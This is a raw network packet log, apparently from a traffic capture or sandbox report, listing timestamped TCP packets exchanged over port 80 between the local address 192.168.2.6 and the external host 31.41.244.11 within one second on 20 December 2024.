Dec 20, 2024 17:43:30.184114933 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.184159994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.186455011 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.186500072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.186665058 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.186737061 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.188791990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.189117908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.189162970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.191046000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.191145897 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.191191912 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.193329096 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.193459034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.193501949 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.195557117 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.195652008 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.195699930 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.197784901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.197874069 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.197926998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.199937105 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.200117111 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.200170994 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.202060938 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.202229977 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.202274084 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.204206944 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.204277992 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.204305887 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.204319954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.206408978 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.206495047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.206538916 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.208432913 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.208576918 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.208622932 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.210504055 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.210674047 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.210720062 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.212589979 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.212826967 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.212863922 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.212902069 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.214736938 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.214797974 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.214832067 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.214869022 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.216762066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.216811895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.216981888 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.217020035 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.218859911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.218902111 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.218952894 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.218988895 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.221025944 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.221431971 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.221481085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.223094940 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.223309994 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.223364115 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.225188017 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.225306034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.225352049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.227276087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.227540016 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.227582932 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.229384899 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.229489088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.229536057 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.231462955 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.231822968 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.232604980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.232661963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.233584881 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.233624935 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.233665943 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.235649109 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.235930920 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.236326933 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.236377001 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.237783909 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.237999916 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.238039970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.239887953 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.240005970 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.240066051 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.240112066 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.242141008 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.242191076 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.242242098 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.242279053 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.244074106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.244132042 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.244215965 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.244257927 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.246320009 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.246637106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.246681929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.248399973 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.248625040 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.248676062 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.250348091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.250549078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.250593901 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.252429962 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.252477884 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.252748013 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.252830029 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.254569054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.254614115 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.254683018 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.256534100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.256666899 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.256715059 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.256843090 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.258797884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.258851051 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.258897066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.260618925 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.260915041 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.261008978 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.261050940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.262984991 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.263237000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.263286114 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.265074015 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.265208006 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.265255928 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.267205000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.267285109 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.267335892 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.269510984 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.269582987 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.270044088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.270838022 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.271380901 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.271424055 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.271452904 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.271486998 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.273519039 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.273580074 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.273974895 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.275556087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.275615931 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.276346922 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.276643991 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.277650118 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.277702093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.277916908 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.277956963 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.279773951 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.279819012 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.280178070 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.280791044 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.281991959 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.282036066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.282061100 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.282073975 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.284002066 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.284048080 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.284080982 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.284117937 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.286061049 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.286443949 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.286488056 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.288152933 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.288846016 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.288881063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.289148092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.290268898 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.290327072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.370795965 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.371102095 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.371176004 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.371439934 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.371597052 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.371643066 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.373038054 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.373230934 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.373275042 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.374814034 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.374865055 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.375113964 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.376534939 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.376578093 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.376888990 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.378107071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.378297091 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.378361940 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.378382921 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.378417969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.379996061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.380052090 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.380311012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.380800009 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.381791115 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.381841898 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.382592916 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.382637978 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.383439064 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.383517981 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.383523941 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.383559942 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.385371923 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.385418892 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.385572910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.385620117 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.386708021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.386754990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.386774063 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.386811972 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.388305902 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.388345003 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.388472080 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.389718056 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.389929056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.389976025 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.390137911 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.390176058 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.391494989 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.391576052 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.391619921 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.392985106 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.393161058 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.393208981 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.394541025 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.394593954 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.394675016 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.396094084 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.396138906 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.396511078 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.396817923 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.397602081 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.397836924 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.397882938 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.399122000 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.399386883 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.399432898 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.400624037 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.400710106 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.401021004 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.401112080 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.402090073 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.402230978 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.402278900 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.403672934 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.403775930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.403820992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.405066013 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.405416012 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.405466080 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.406531096 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.406599045 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.406708956 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.406920910 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.407953978 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.408014059 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.408075094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.408139944 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.409423113 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.409463882 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.409513950 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.410881996 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.410991907 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.411226988 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.411274910 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.412302017 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.412342072 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.412525892 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.412611961 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.413748980 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.413796902 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.413964987 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.415070057 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.415124893 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.415203094 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.416452885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.416496992 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.416611910 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.416649103 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.417929888 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.418211937 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.418225050 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.418374062 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.419266939 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.419610023 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.419652939 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.420736074 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.420821905 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.420866013 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.422115088 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.422157049 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.422306061 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.423455000 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.423484087 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.423671007 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.423672915 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.423712969 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.424880028 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.424967051 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.425014019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.426275015 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.426309109 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.426656961 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.426703930 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.427686930 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.427733898 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.427774906 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.427861929 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.429079056 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.429205894 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.429352045 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.429512024 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.430480957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.430530071 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.430697918 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.430737019 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.431902885 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.431950092 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.432172060 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.432213068 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.433331966 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.433387995 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.433517933 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.433554888 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.434834957 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.434878111 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.434894085 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.434907913 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.436104059 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.436151981 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.436220884 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.436331034 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.437604904 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.437647104 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.437726021 CET	80	49736	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:30.437808990 CET	49736	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:30.439007998 CET	80	49736	31.41.244.11	192.168.2.6
